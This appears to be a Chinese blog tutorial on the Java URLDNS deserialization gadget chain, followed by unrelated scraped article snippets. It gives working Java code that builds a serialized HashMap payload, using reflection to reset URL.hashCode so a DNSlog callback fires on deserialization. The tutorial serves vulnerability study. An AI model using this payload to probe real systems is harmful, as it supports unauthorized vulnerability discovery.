URLDNS链
听说这个链子是最简单的链子之一了,但是却是来来回回看了好多遍才勉强看明白。
在 ysoserial 中我们可以看见链子是这样的:
*Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
简单流程:
1.HashMap接收一个类O(URL类)
2.类O(URL类)的hashCode()后续的一串链子可以发起DNS请求
3.HashMap的readObject刚好可以调用O.hashCode();
现在我们来编写类来观察如何触发DNS请求
package packet1;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class SerializeTest{public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static void main(String[] args) throws Exception {HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();URL url = new URL("http://25d13c3b.dns.1433.eu.org");Class<? extends URL> clazz = url.getClass();hashmap.put(url, 1);serialize(hashmap);}
}
这个类可以进行序列化,按照正常来说序列化的过程是不会进行DNS请求的,但是我们查看DNSlog平台:
发现序列化的时候就发起请求了,这样有几个非常不好的地方:
- 影响我们判断是否有URLDNS这个漏洞存在(因为我们是想要反序列化的时候触发)
- 最重要的是其实在序列化之后URL类里面的hashCode已经被改变了,反序列化的时候并不会触发
下图是URL类中的hashCode()方法;
这里只有当hashCode不为负一的时候才会走handler发起DNS请求
hashCode在初始化的时候已经被赋值成-1了:
但是我们序列化之后值已经被改变成为handler.hashCode了
那么就有一个疑问,序列化的时候是怎么触发的?
我们跟进put:
发现会调用hash函数。跟进hash:
发现调用handler,并且此时hashCode的值被改变
跟进hashcode:
调用getProtocol(),调用getHost():
其他更细节的我就没跟进,但是我们需要知道调用URL的hashCode()之后,并且hashCode的值不为-1就会发起DNS请求。所以我们可以通过反射技术来改变值,以此来达到序列化的时候不进行DNS请求,但是反序列化的时候会进行DNS请求
所以让我们来改进代码:
序列化代码:
package packet1;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class SerializeTest{public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static void main(String[] args) throws Exception {HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();URL url = new URL("http://25d13c3b.dns.1433.eu.org");Class<? extends URL> clazz = url.getClass();Field field = clazz.getDeclaredField("hashCode");field.setAccessible(true);field.set(url, 1234);hashmap.put(url, 1);field.set(url, -1);serialize(hashmap);}
}
在put之前我们改变url的hashCode值不为-1,put之后我们把url的hashCode改为-1,之后再对hashmap进行序列化。
反序列化代码:
package packet1;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class UnSerializeTest {public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws IOException, ClassNotFoundException {unSerialize("ser.bin");}
}
经过测试之后,序列化的时候不会发起DNS请求,反序列化之后可以发起DNS请求.
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-3826436.html
如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!那些好玩的生成器网站(二)
苏生不惑第105 篇原创文章,将本公众号设为星标,第一时间看最新文章。之前写过 那些好玩的生成器网站 ,这里继续整理些好玩的生成器网站。生成小瓶子最近微博上的话题 #小瓶子涂鸦大赛#很火。小瓶子的状态代表你对事物喜好的程度,喜…...

mysql5.7执行SQL死锁问题的定位方法
1、先登陆数据库mysql -uroot -p,然后使用命令:show engine innodb status; 在命令的输出结果中,找到“LATEST DETECTED DEADLOCK”。 从这段内容中在找到产生死锁的SQL语句(比如:replace into 和delete语句&a…...

jQuery-css
<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title> </head> <body> <p style"color: blue;">尚硅谷的后裔</p> <p style"color: green;&…...

Typora自定义主题样式
Typora自定义主题样式 1.打开Typora开发者工具 视图 --> 开发者工具(Shift F12) 2.使用选区工具选中想要更改的元素 3.查看styles区域 4.修改颜色并预览 修改步骤: 打开取色器选择自己喜欢的颜色,取色器:https://…...

VScode使用codeblocks C++ 头文件报错 配置
配置以下几个文件 新建一个. vscode文件 c_cpp_properties.json {"configurations": [{"name": "Win32","includePath": ["${workspaceFolder}/**"],"defines": ["_DEBUG","UNICODE",&quo…...

elememtUI--Select下拉框及Cascader级联选择器获取value值、label值
------ select单选框----- select绑定change事件 onSelectedDrug(val){let obj {};obj this.options.find((item)>{ // 这里的options就是数据源return item.value val; // 筛选出匹配数据});console.log(obj);// 获取的item所有的值console.log(obj.label);// 获取的l…...

智能制造系统解决方案和智能工厂发展趋势
当前,我国大多数企业、行业智能制造系统都还处于局部应用阶段,只有少数大企业单项业务信息技术覆盖面较高,关键业务环节应用系统之间实现了一定的协同和集成。从制造企业生产力水平来看,大量企业处于工业2.0要补课,有些…...

互联网摸鱼日报(2022-12-03)
互联网摸鱼日报(2022-12-03) InfoQ 热门话题 飞桨开源框架2.4版本全新发布,带来哪些新功能? 36氪 WISE2022 新经济之王大会成功举办:聚焦创新,助力实体产业升级 如何加速AI业务落地,这4场直播…...

macbookpro去掉关机提示
1、点击系统偏好设置 2、进入用户与群组 3、登陆选项,把“显示睡眠、重新启动、关机“那个勾去掉就行了...

【Python100天学习笔记】网络编程和应用开发
网络编程入门 计算机网络基础 计算机网络是独立自主的计算机互联而成的系统的总称,组建计算机网络最主要的目的是实现多台计算机之间的通信和资源共享。今天计算机网络中的设备和计算机网络的用户已经多得不可计数,而计算机网络也可以称得上是一个“复…...

分享75个商务商城PHP源码,总有一款适合你
商务商城 分享75个商务商城PHP源码,总有一款适合你 源码链接:https://pan.baidu.com/s/1iHbw7YSXGxWDzdTKhQ8eeQ 提取码:2j1y 下面是文件的名字,我放了一些图片,文章里不是所有的图主要是放不下...,大家下…...

C++编写程序一定要加using namespace std吗?命名空间你真的清楚吗?
hello,大家好啊!经过C语言和简单数据结构的学习,博主终于能开始学习C了,激动之心溢于言表。 然而刚开始学习,博主就吃了一个闭门羹。为什么C编程时几乎每次都要敲上using namespace std;这行代码?问了很多…...

嵌入式Linux开发环境搭建-(0)在进行嵌入式Linux开发前,你可能先要知道这些基本概念
嵌入式Linux开发前,你可能需要知道这些基本概念 作者之前编写了一系列嵌入式Linux的开发文档: 关注公众号【微联智控工作室】,并回复【嵌入式Linux资料】,可获取以上pdf文档的下载链接。 或者点击以下链接下载:http…...

入门Nginx之-代理HTTPS, HTTP强制转HTTPS
简介 之前介绍过Nginx反向代理实现二级域名转发, 不过当时直接用Nginx代理的HTTP。 这次通过Nginx启用SSL, 代理HTTPS, 并实现HTTP强制转HTTPS。 第一步 Nginx代理HTTPS 修改配置: 添加443端口监听, 开启SSL&#x…...

正方形隐藏呈三角形html,border三角形
border:100px solid ;box-shadow: inset 0 1px,inset 1px 0px,inset 0 -1px,inset -1px 0px;width:0px;height: 0px;margin:0 auto;/*transparent 透明*/border-color:red transparent transparent transparent;/*box-shadow 向框添加一个或多个阴影*/box-shadow: inset 0 1px,…...

2021-TRN2-A
https://vjudge.net/contest/422763#problem/A 原题复制粘贴 这里有一个关于合法的括号序列的问题。 如果插入“”和“1”到一个括号序列,我们能得到一个正确的数学表达式,我们就认为这个括号序列是合法的。例如,序列"(())()", …...

django与sqlite版本对应关系
django默认使用sqlite数据库,而使用sqlite数据库是通过python的,因为python本身内置sqlite,那么django——SQLite——python三者之间就有一个版本的对应关系,如果版本不配套,就可能报以下错误: File "…...

Spring、SpringBoot知识梳理及项目实践
项目链接在文章底部,项目有些什么实践? 1、spring-context测试spring生命周期 包含:xml和注解 2、手动实现spring mvc注解路由http请求 目的:克服对注解的恐惧,看清自动注入的真面目 实现步骤和原理: 加…...

Log4j NDC MDC 区别及用法
NDC(Nested Diagnostic Context)和MDC(Mapped Diagnostic Context)是log4j种非常有用的两个类,它们用于存储应用程序的上下文信息(context infomation),从而便于在log中使用这些上下…...

常用网页代码全集
● 控制横向和纵向滚动条的显隐? <body style"overflow-y:hidden"> 去掉x轴 <body style"overflow-x:hidden"> 去掉y轴 <body scroll"no">不显● 表格变色 <TD onmouseover"this.style.backgroundColor#…...

Paint画笔Shader之LinearGradient的用法
参数讲解 /** Create a shader that draws a linear gradient along a line. 创建一个shader绘制一条线param x0 The x-coordinate for the start of the gradient line 开始坐标xparam y0 The y-coordinate for the start of the gradient line 开始…...

五问补盲(一) | 激光雷达补盲,视场多大算大?
作者 | 爱LiDAR的小飞哥 编辑 | 王博“大!超大!更大!” 最近,补盲激光雷达市场热闹非凡,各家在宣传产品的视场角时竭尽全力,毫不吝啬形容词。 回归到实际需求,多大的视场角够用?超大…...

Java中的按拼音排序
String[] strs {"张三","李四","王五"}; Comparator c Collator.getInstance(Locale.CHINA); Arrays.sort(strs,c); // 李四 王五 张三...

【笔记】【机器学习基础】流形学习
用t-SNE进行流形学习 流行学习算法是一类用于可视化的算法,它允许进行更复杂的映射,通常也可以给出更好的可视化。PCA是用于变换数据的首选方法,也可以进行可视化,但它的性质(先旋转然后减少方向)限制了有…...

Jmeter之函数助手操作
1.CSVRead 当进行批量数据操作的时候,为了方便可以使用csvRead函数助手来实现添加CSVRead 2.RandomString 有的时候有一些参数是不断变化的,我们如果使用csv去做,还是要准备很多不同的数据, 但是如果我们用 randomstring的话&…...

维格云代码块入门教程
目录 维格云代码块功能简介 维格云代码块功能效果 维格云代码块设置步骤 1、编写JS代码 2、测试运行 3、生成别名 4、返回别名绑定字段 5、效果展示 维格云代码块注意事项 维格云代码块功能简介 通过JS编码自定义的代码块,绑定字段作为变量输入,结果输出。实现比公…...

金融理财项目简介
4.1注册登录 二、项目需求-注册登录 提高登录注册转化率,降低跳出率,辛辛苦苦做活动拉人拉过来,没登录注册就跑 2.防刷单防马甲防诈骗,平台业务量大起来,特别涉及金额交易的平台,那更要注意了 3.登录注册流友好通畅&am…...

环太平洋计算机图形学及应用会议,北京科技大学计算机与通信工程学院-我校青年教师王笑琨等荣获计算机图形学国际会议(CGI2020) 最佳论文奖...
10月20日至10月23日,在瑞士日内瓦(线上)举办的第37届计算机图形学国际会议(Computer Graphics International, CGI),我校青年教师王笑琨与博士研究生刘斯诺等人的论文“Robust turbulence simulation for particle-based fluids using the Rankine vorte…...

WCA认证辅导WCA认证的评级有哪些组成及验厂评估关注哪些内容
WCA认证,即WORKPLACE CONDITIONS ASSESSMENT的简称,是一种用来评估企业内部社会责任管理体系工具、具有成本效益的评估方案,通过劳工,工时工资,健康和安全,管理系统,环境等模块的评估࿰…...

第二季:导航【Java面试题】
第二季:导航【Java面试题】前言推荐第二季:导航JUCJVMGitHub最后前言 2022 10/1 10:10 路漫漫其修远兮,吾将上下而求索 本文是根据尚硅谷学习所做笔记 仅供学习交流使用,转载注明出处 推荐 尚硅谷Java大厂面试题第2季,面试必刷…...

迅雷禁止更新设置方法【禁止升级】【禁止更新】
禁止迅雷更新,禁止迅雷自动升级方法: 1、迅雷图标右击:打开文件位置(或右击属性),点击:“打开文件所在的位置”, 2、找到:XLLiveUD.exe并复制名称和后缀名,之…...

Mac OS下安装Homebrew
Homebrew是Mac下的一个包管理工具,类似yum之类的 Homebrew安装成功后,会自动创建目录/usr/local/Cellar 来存放Homebrew安装的程序,并在 /usr/local/bin 中创建符号链接. 安装方法一: ruby -e "$(curl -fsSL https://raw.githubuserc…...

大厂算法面试之leetcode精讲2.时间空间复杂度
大厂算法面试之leetcode精讲2.时间空间复杂度 视频教程(高效学习):点击学习 目录: 1.开篇介绍 2.时间空间复杂度 3.动态规划 4.贪心 5.二分查找 6.深度优先&广度优先 7.双指针 8.滑动窗口 9.位运算 10.递归&分治 11剪枝…...

软件开发流程文档
毕业半年,从实习开始算,做安卓开发一年,结合自身,感觉开发报告很是很必要的,但对于各种报告区分还是很混乱。在网上看到在软件项目开发过程中,要求撰写十三类文档,结合自己项目开发中遇到的情况…...

Redis 6.0 多线程网络通信部分
Redis 6.0中新加入了多线程版本的网络通信。 从总体来看,在开启多线程的情况下,会创建IO线程进行读写。但是对于内容的修改,读取等依然是通过主线程完成的。 下面是从大佬偷来的一副时序图。https://zhuanlan.zhihu.com/p/144805500 通过时序…...

ch1-SQL数据查询
前言 这篇文章主要围绕SQL语言中最常用的检索数据SELECT语句来讲。 正文 1. SELECT * FROM data_table; -->FROM子句 FROM 声明检索数据的数据源,就是数据表. SELECT 关键字,后面跟要检索的列名,*代表 所有列,列数可以一个,也可以多个.多个列以逗号分隔,最后一…...

flask学习笔记
Flask学习目录入门创建一个flask项目Jinja渲染模板模板继承基础语法路由重定向url构建404基础BootstrapWTForms消息闪现SQLAlchemy配置常用语法启动shellflask-mailBlueprint、入门 创建一个flask项目 使用pycharm template 放置html页面static 放置静态资源 Jinja flask项…...

vue遍历数组对象
vue中遍历对象的方法就是JavaScript的方法, in vue中在计算属性中,定义一个函数letters,因为要把letters用作数组,所以在letters函数中,先申明了letters [ ] 通过in遍历cities对象,将对象的属性push到l…...

认识路由器与交换机,在常见的企业组网中起什么样的作用呢?
前言 这一篇,不讲解如何进入路由器跟交换机、也不讲解基础的命令行,先来了解路由器跟交换机在常见的网络中起到什么样的作用。当然我们很多技术没学到,所以这里只是为了扩展下思维,了解了解下设备的用途,毕竟后面需要…...

Java 集合(知识点都在例子里呢)
目录 集合概念 概念: 应用场景: 集合框架的体系结构 List ArrayList,ListedList之间的区别: ArrayList LinkedList Set HashSet hashCode与equals 什么是迭代器? Map HashMap 最后总结: Arra…...

微服务-分布式锁(一)-MySQL方案
1 基于唯一索引(insert)实现 记录锁的乐观锁方案。基于数据库的实现方式的核心思想是:在数据库中创建一个表,表中包含方法名等字段,并在方法名字段上创建唯一索引,想要执行某个方法,就使用这个方法名向表中插入数据&a…...

matlab经验分布函数 教程,经验分布函数.ppt
1.经验分布函数经验分布函数图像的Matlab绘图命令是cdfplot,其输入参数为样本数据量,有两个可选输出参数:第一个是图形句柄;第二个是关于样本数据的几个重要统计量,包括样本最小值、最大值、均值、中值和标准差。 2.频率直方图 Ma…...

Eigen学习(一)
第一章总结: 1.关于使用fixed-size 和 dynamic-size MatrixXd相当于动态开辟一片内存,类似于 new Matrix3d 在编译时已经分配好内存 原则>4的矩阵用dynamic-size < 4用fixed-size 2. transpose和adjoint会简单的返回一个代理对象并不对本省做转置…...

Keyhole Markup Language (KML)
5. KML-Keyhole Markup Language From https://developers.google.com/kml/documentation/kml_tut?hlzh-CN KML 是一种文件格式,用于在地球浏览器(例如 Google 地球、Google 地图和谷歌手机地图)中显示地理数据。KML 使用含有嵌套的元素和…...

amis学习笔记-代码分析⑥
2021SCSDUSC 目录 目录 一、前言 二、代码分析 基本用法 值格式 配置预览图地址 配置原图地址 一、前言 本文主要分析amis框架中,数据表达中,images图片集 图片集展示,不支持配置初始化接口初始化数据域,所以需要搭配类似…...

12.16 Java继承
首先 :继承,指一个对象直接使用另一对象的属性和方法。继承的格式:public class 子类名 entends 父类名{} /* 表示前面的子类继承父类 */ 例:public class Zi extends Fu{}下面是代码说明:/** 动物类,父类 * 这是一个父类*/public class Animal {private String name;p…...

URL转发请求
URL转发请求目录概述需求:设计思路实现思路分析1.一种方法2.第二种方法:参考资料和推荐阅读Survive by day and develop by night. talk for import biz , show your perfect code,full busy,skip hardness,make a better result,wait for ch…...
Java类加载器
ClassLoader的分类 Java中的ClassLoader有三种:Bootstrap ClassLoader 、Extension ClassLoader、App ClassLoader。以下是jdk1.8的类加载器 加载路径 package com.example.demo;import java.net.URL; import java.net.URLClassLoader;public class Test {public …...

itunes备份包括哪些内容_软件开发项目技术方案包括哪些内容
软件开发项目技术方案对于一些刚刚接触软件开发的人来说就像是一座跨不过去的大山,但是对于开发方来说是一件正常的事情。完整的软件开发项目技术方案,有不少人会咨询,接下来小编来和大家聊聊这些内容。软件开发项目技术方案包括哪些内容&…...

开通阿里云短信服务
阿里云短信服务 1,阿里云用户权限操作 1.1、找到后台放在个人头像上面 选择 AccessKey 管理 1.2、选择 子用户 1.3、创建用户组 1.4、给用户组添加权限 然后就可以看到你的权限里面多了一个sms的短信权限 1.5、创建用户 注意!注意!注意点击…...

Redis-链表-重点知识
分享一个大牛的人工智能教程。零基础!通俗易懂!风趣幽默!希望你也加入到人工智能的队伍中来!请点击http://www.captainbed.net 链表被广泛用于实现Redis的各种功能,比如列表键、发布与订阅、慢查询、监视器等。 每个…...

mysql的sock文件_如何查找 mysql 的mysql.sock文件?
1.停止数据库服务:使用/etc/init.d/mysql stop 或者 stop mysql2. 在目标位置(/data)创建数据库文件的目录(如/mysqldb),并复制(如果不再使用默认的位置,则可以直接mv原先数据库文件到新目录下)原先的数据库文件目录到该目录下:cd…...

JApiDocs真香:以后再也不想用Swagger了
1. 概述 Swagger最麻烦的就是需要在 Controller 上添加一堆 ApiOperation、ApiOperation 注解,对代码有一定的侵入性。今天,笔者推荐一个不需要加注解的解决方案。 抱大腿 这就是 JApiDocs ,它可以基于 Controller上的 Java 注释ÿ…...

线性表的销毁
v oid DestroyList(List &L) {if (L.elems) delete []L.elems;//释放存储空间 L.length 0; L.size 0; }...

internal/validators.js:124 throw new ERR_INVALID_ARG_TYPE(name, ‘string‘, value);
nrm,运行错误 错误内容: C:\WINDOWS\system32>nrm lsinternal/validators.js:124throw new ERR_INVALID_ARG_TYPE(name, string, value);^[TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string. Received und…...

远程办公:为远程桌面配置固定的公网TCP端口地址
在上一篇文章《远程办公:通过Cpolar内网穿透,远程桌面控制家里/公司内网电脑》中,我们通过cpolar映射远程桌面3389端口,成功实现了在外远程桌面控制家里/公司的Windows电脑。 但免费使用cpolar所生成的公网地址为随机公网地址&am…...

网课查题公众号制作步骤
网课查题公众号制作步骤 本平台优点: 多题库查题、独立后台、响应速度快、全网平台可查、功能最全! 1.想要给自己的公众号获得查题接口,只需要两步! 2.题库: 查题校园题库:查题校园题库后台(…...

【openfire,smack使用总结】--Smack库的使用
Smack介绍 Smack是XMPP协议的的实现库,Smack库易于使用,仅仅几行代码就能实现客户端连接,登陆,发送即时消息。但是由于使用XMPP协议,所以不适合用在高并发的场合。 Smack的使用 本文使用的是4.1.9版本的Smack库来演…...

常见设计模式
文章目录1、设计模式六大设计原则1.1、单一职责原则1.2、里氏替换原则1.3、依赖倒置原则1.4、接口隔离原则1.5、迪米特法则1.6、开闭原则2、单例模式2.1、饿汉式2.2、懒汉式2.3、枚举2.4、优点2.5、缺点2.6、应用3、工厂模式3.1、简单工厂模式3.1.1、优点3.1.2、缺点3.2、工厂方…...

曾经有一份真诚的爱情
“曾经有一份真诚的爱情放在我面前,我没有珍惜,等我失去的时候我才后悔莫及,人世间最痛苦的事莫过于此。如果上天能够给我一个再来一次的机会,我会对那个女孩子说三个字:我爱你。如果非要在这份爱上加上一个期限&#…...

Libra会颠覆金融与加密世界吗?
BlockMania 定期举办线上AMA活动,第一期于7月5日举行。本期,邀请到Trias CTO 魏明与Conflux 运营专家 张元杰做客现场,对热门项目Libra做出深入分析。BlockMania以服务区块链领域发展为己任,专业视野洞悉行业先机,独特…...

ace admin 左侧导航菜单定位,打开状态
var pathname window.location.pathname window.location.search;$(".yourclassname li a").each(function() {var href $(this).attr("href");if(pathname href){$(this).parents("ul").parent("li").addClass("active op...
推荐一款好用的Bootstrap后台管理框架——Ace Admin
Ace Admin 小伙伴们,我把资源放在个人网站,有需要的可以直接去下载,链接:点这里就可以去下载了!! https://www.tanj.com.cn/resource/detail/5ec638d635294e742d64a4f2 可以从左边的导航栏中看到&#x…...

spring admin mysql_GitHub - jiangyanyan/easyadmin: 简易的java后台管理框架,基于SpringBoot+FreeMark+ace admin+mys
easyadmin简介一个简单好看的后台开发模板框架,目前具备用户管理,菜单管理和角色管理3个功能,也只打算做这3个,毕竟这是所有后台管理框架的核心,而本项目也只是打算做一个模板框架而已优点一、方便快捷,配置…...

net core mysql开源框架_.NET Core 2.0+Mysql+AceAdmin 搭建快速开发框架
public class Repository : IRepository where T : BaseEntity{DbContext _dbContext;public Repository(DbContext dbContext){_dbContext dbContext;}public int SaveChanges(){return _dbContext.SaveChanges();}public async Task SaveChangesAsync(){return await _dbCo...

ace treeview.php,改造 Ace Admin 模板的 ace_tree 组件的 folderSelect 样式
标签:*注:我用的Ace Admin版本为1.3.4Ace Admin 是一个轻量,功能丰富,HTML5、响应式、支持手机及平板电脑上浏览的优秀管理后台模板。关于tree的使用,html文件夹下treeview.html给了静态数据的例子,examples下treeview…...

ace admin ajax加载页面,循环加载首页的解决办法
ace admin 1.4 出现循环加载,主要是因为找不到页面, 需要ajax加载的div <div class"page-content-area" data-ajax-content"true"><!-- ajax content goes here --> </div> 修改ace-1.4.0\assets\js\src\ace.basi…...

开始学习使用ace admin
2019独角兽企业重金招聘Python工程师标准>>> 因为项目要求,最近在做一个管理系统的时候,需要一个比较强大的前端框架。经朋友介绍,网上查询,找到了这个响应式Bootstrap网站后台管理系统模板ace admin,一款非…...
golang(4)使用beego + ace admin 开发后台系统 CRUD
1,关于ace admin ace admin 是一个非常好的后台系统ui。 集成了很多的好东西。非常的方便开发后天系统,而且能很漂亮。 上面有一堆的例子。非常的漂亮。 http://ace.jeka.by/ 之前还是收费的。后来在github 上面放了一个项目。 但是没有源码。是压缩…...

塔望食业洞察丨大健康黄金赛道,低GI食品风起
随着“健康中国2030”国家战略进入到第二阶段,消费者在身心健康方面的提升诉求成为刚需 。在国家政策支持、技术发展的情况下,健康产业已经迎来前所未有的发展契机,健康产业百业兴盛。根据国家数据统计显示,2020年我国健康服务业规…...

建立自己的jsp app
建立自己的jsp app简单页面 1.到Tomcat的安装目录的webapps目录,可以看到ROOT,examples, tomcat-docs之类Tomcat自带的的目录; 2.在webapps目录下新建一个目录,起名叫myapp;3.myapp下新建一个目录WEB-INF&…...

谈谈iOS中的命名规范
本文谈谈 iOS 开发中的命名规范,主要涉及常量命名、枚举命名、类及其方法命名,以及分类及其方法命名。如果你找的是官网的编码规范,请移步: Coding Guidelines for Cocoa。当然本文会讲一些官网没有的东西。 常量命名用枚举表示状态、选项、…...

ipad2019编写html,2019 iPad性能排行榜,选对型号很重要
苹果这几年不断调整iPad的产品线,不仅推出了带有Face ID的iPad Pro,同时也更新了iPad Air和iPad Mini来满足不同用户的需求,当然这些iPad在性能方面也有所差别,安兔兔就公布了一份iPad的性能排行榜,如果你准备入手iPad…...

如何用iMazing检测iPhone或iPad的电池健康状态
大家都知道电子产品的电池耐用度至关重要,这极大影响着用户的使用体验,但在使用电子产品的途中,我们常常不清楚自己所使用产品的电池健康状态。 对于众多的iOS用户来说,iMazing可谓是一款非常实用的管理软件,我们通过…...

ipad为什么会闪退?有哪些办法可以修复ipad闪退问题?
随着智能设备的更新发展,iPad也成了日常生活中不可或缺的设备。 没有电脑的厚重、功能全、性能优良,可以说是休闲娱乐、简易办公的首选设备。 而iPad 闪退 问题,是较为普遍的存在。 总结iPad闪退修复方法,可根据可能出现的原因选…...

iOS 获取设备型号(iPhone+iPad)最新总结
在游戏开发中,我们常常需要获取iOS设备信息来进行数据统计和性能适配。 比如在数据统计时,需要获取当前设备的名称,类型,系统名称,系统版本,UUID等,这些都可以通过UIDevice类来获取。代码如下&…...

获取iPhone、iPad等型号(包括最新的iPhoneXR、iPhoneXS、iPhoneXS MAX)
#import <CommonCrypto/CommonCrypto.h> (NSString *)deviceModelName {struct utsname systemInfo;uname(&systemInfo);NSString *deviceModel [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding];if ([deviceModel isEqualToString...

iPad做Windows扩展屏
设备型号: Windows10 iPad air4 软件选择: twomon68太贵了,splash免费但是经常闪退,最后选择duet display,某宝1.7买下。 出现问题: 电脑之前安装过iTunes又卸载过,导致现在重装iTunes出现…...

iPad----------教你如何查询ipad型号
1.首先进入苹果官网 找到support https://support.apple.com 2.找到查询ipad型号的地方 点击Check coverage for your product 3.输入你的ipad序列号,序列号在ipad上 通用---->关于本机---->序列号 转载于:https://www.cnblogs.com/KiVen2015/p/8302073…...

iOS 获取iPhone、iPad设备的型号、名称
public extension UIDevice { var iPhoneName: String { var systemInfo utsname() uname(&systemInfo) let machineMirror Mirror(reflecting: systemInfo.machine) let identifier machineMirror.children.reduce("") { identifier, element in guard let...

谷歌浏览器播放视频只有声音没有画面解决方法
1.打开自己电脑的谷歌浏览器。,点击一下浏览器页面右上角的三点符号,如图所示; 2在菜单中点击-设置; 3.将网页一直拉到最底端,看到一个-高级选项,点击-高级 4.在下拉菜单中找到-使用硬件加速模式…...

h5自动播放视频且有声音的办法
视频自动播放autoplay无法播放需要静音,setTimeout0.1后执行点击一次,隐藏掉播放按钮 <body><button onclick"playPause()" id"buttonid" style"display: none;">播放/暂停</button> <video src&qu…...

PyQt5 PySide2嵌入网页播放视频
from PySide2.QtWidgets import * from PySide2.QtCore import * from PySide2.QtGui import * from PySide2.QtWebEngineWidgets import QWebEngineView from PySide2.QtWebEngineWidgets import QWebEngineSettings import osclass WebWidget(QMainWindow):def __init__(sel...

网页不能自动播放视频、音频的解决方案
至于原因,就是谷歌以及基于 Chromium 开发的浏览器自身限制,出发点是影响用户体验,想想也是,万一,一不小心点开哪个网页,突然播放一些乱七八糟的声音,而且特别大声,估计谁也受不了。…...

ENSP常用指令
指令功能sys进入视图界面sysname修改名称int e0/0/0进入e0/0/0的接口设置ip add 192.168.1.1将地址与接口绑定arp-a检查当前主机的ARP缓存dis ip int brief检查接口链路状态display ip routing-table查看路由表信息dis arp查看路由表ip route-static 192.168.2.0 255.255.255.0…...

在网页上播放本地视频
我们在做在线播放视频的时候,虽然可以使用源码引用在线的视频,如果是本地的视频呢?经常会使用一个的标签,但是video只支持Ogg、MPEG4(mp4)、WebM 这三种格式的,并且不同的浏览器的兼容性不行&am…...

网页中视频内容自动播放
目前主流的浏览器中已经禁止带声音的媒体自动播放。具体内容在这里chrome自动播放策略(可能国内网络访问不了)。此处重点是带声音的媒体自动播放。 里面也说明了集中播放的方式 静音播放。只要将video设置为muted,然后就可以自动播放了。引导用户点击后再进行播放。…...
Chrome播放视频时只有声音没有画面
问题 win7下Chrome在线播放视频时只有声音,没有画面 解决 打开Chrome,点击右上角菜单,选择设置 -> 高级 -> 系统,取消使用硬件加速模式(如果可用): 重启Chrome即可 另 如果Chrome所有…...

android webview 视频黑屏,webview 播放H5视频问题 黑屏 只有声音没有画面
android 用webview 播放网络视频怎控制播放按键?在代码中加入webview.getSettings().setJavaScriptEnabled(true);//支持jswebview.getSettings().setPluginsEnabled(true);//设置webview支持插件同时要在Manifest配置文件的application中加入 android:hardwareAcce…...

怎么解决网页中播放视频没有声音?
具体问题:电脑能正常播放硬盘中的音乐、电影,但是网页中的视频就只有图像没有声音,如:土豆网等等;并且浏览器的“选项”中多媒体的“在网页中播放声音”也处于被选状态,电脑开机音乐也没有,qq里…...

2021年中国MEMS麦克风传感器市场趋势报告、技术动态创新及2027年市场预测
MEMS麦克风传感器市场的企业竞争态势 该报告涉及的主要国际市场参与者有Analog Devices、STMicroelectronics、New Japan Radio、Vesper MEMS、Infineon、PUI Audio、Sonion、Sanico、TDK、FLEZON、Knowles等。这些参与者的市场份额、收入、公司概况和SWOT分析都包含在MEMS麦克…...

git还原到之前某个版本
文章目录场景解决方案方案一 git reset --hard abcdef方案二 git revert -n abcdef场景 想要回到之前的某一版本,该怎么办呢? 解决方案 方案一 git reset --hard abcdef 相当于强制重置为某个版本。 然后再 git push -f 即可。 实际操作的时候报错了ÿ…...

java调用手机麦克风录音以及保存音频文件到服务器
1.应用场景:手机app内录制不超过60秒的录音,进行保存,可以实现播放 实现过程 (1).前端调取手机麦克风,录制音频,转成base64文件传给后端 (2).后端将前端传过来的base64文…...

arduino loar_Arduino动手做(6)声音传感器模块
Arduino动手做(1)干簧管传感器模块Arduino动手做(2)光敏电阻模块Arduino动手做(3)微波雷达感应模块Arduino动手做(4)振动传感器模块Arduino动手做(5)热敏电阻温度传感器模块【Arduino】108种传感器模块系列实验(资料代码图形仿真)实验之六:KY-038高感度声音传感器模…...

麦克风声音传感器(arduino IDE)
首先说一下有关传感器的模拟量和开关量,不论输入还是输出,一个参数要么是模拟量,要么是开关量; 模拟量-- 控制系统量的大小是一个在一定范围内变化的连续数值,比如温度,压力等等,这些都是模拟量…...

linux内核printk的一些并发处理
我们知道,linux内核为了支持在各种位置都能使用printk,做了不少的工作,这篇文章简单介绍一下printk的一些并发处理。 本文基于linux内核4.19.195. printk最终会调用到vprintk_func函数。 __printf(1, 0) int vprintk_func(const char *fmt, …...

Unexpected token u in JSON at position解决方法
一般出现这个 Unexpected token u in JSON at position 0问题,是JSON.parse时候解析了undefined,此时我们找到JSON解析代码,去找为什么会出现undefined并且加上判断语句就行了 onLoad(query) {console.log(query)if(query.orderRow){this.set…...

7-64 统计大写辅音字母 (15 分)英文辅音字母是除A、E、I、O、U以外的字母。本题要求编写程序,统计给定字符串中大写辅音字母的个数。PTA:中M2021春C、Java入门练习第I段
7-64 统计大写辅音字母 (15 分) 英文辅音字母是除A、E、I、O、U以外的字母。本题要求编写程序,统计给定字符串中大写辅音字母的个数。 输入格式: 输入在一行中给出一个不超过80个字符、并以回车结束的字符串。 输出格式: 输出在一行中给…...

达人评测i51235u和i51135g7哪个好
酷睿i5-1235U为原生10核心12线程设计,其中2个核心为高性能核心(P-Core),睿频加速最高可达4.4GHz,8个核心为能效核心(E-Core),最大睿频3.3GHz,同样拥有12MB的三级缓存&…...

